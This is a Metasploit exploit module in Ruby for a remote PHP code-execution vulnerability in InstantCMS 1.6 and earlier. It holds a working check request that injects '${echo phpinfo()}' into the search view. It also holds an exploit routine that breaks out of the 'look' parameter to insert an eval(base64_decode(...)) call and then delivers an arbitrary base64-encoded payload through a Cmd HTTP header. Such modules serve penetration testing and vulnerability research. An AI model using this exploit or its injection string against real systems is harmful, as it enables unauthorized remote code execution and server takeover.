require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'InstantCMS 1.6 Remote PHP Code Execution',
			'Description'    => %q{
				This module exploits an arbitrary PHP command execution vulnerability because of a
				dangerous use of eval() in InstantCMS in versions 1.6 and prior.
			},
			'Author'         =>
				[
					'AkaStep', # Vulnerability discovery and PoC
					'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'BID', '60816' ],
					[ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ]
				],
			'Privileged'     => false,
			'Platform'       => 'php',
			'Arch' => ARCH_PHP,
			'Targets'        =>
				[
					[ 'InstantCMS 1.6', { }  ],
				],
			'DisclosureDate' => 'Jun 26 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
			], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => normalize_uri(target_uri.to_s),
			'vars_get' =>
			{
				'view'	=> 'search',
				'query' => '${echo phpinfo()}'
			}
		})

		if res
			if res.body.match(/Build Date/)
				return Exploit::CheckCode::Vulnerable
			else
				return Exploit::CheckCode::Safe
			end
		else
			return Exploit::CheckCode::Unknown
		end

	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
		return Exploit::CheckCode::Unknown
	end

	def exploit

		print_status("Executing payload...")

		res = send_request_cgi({
			'uri'      => normalize_uri(target_uri.to_s),
			'vars_get' =>
			{
				'view'	=> 'search',
				'query' => rand_text_alpha(3 + rand(3)),
				'look'  => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
			},
			'headers' => {
				'Cmd' => Rex::Text.encode_base64(payload.encoded)
			}
		})

	end
end
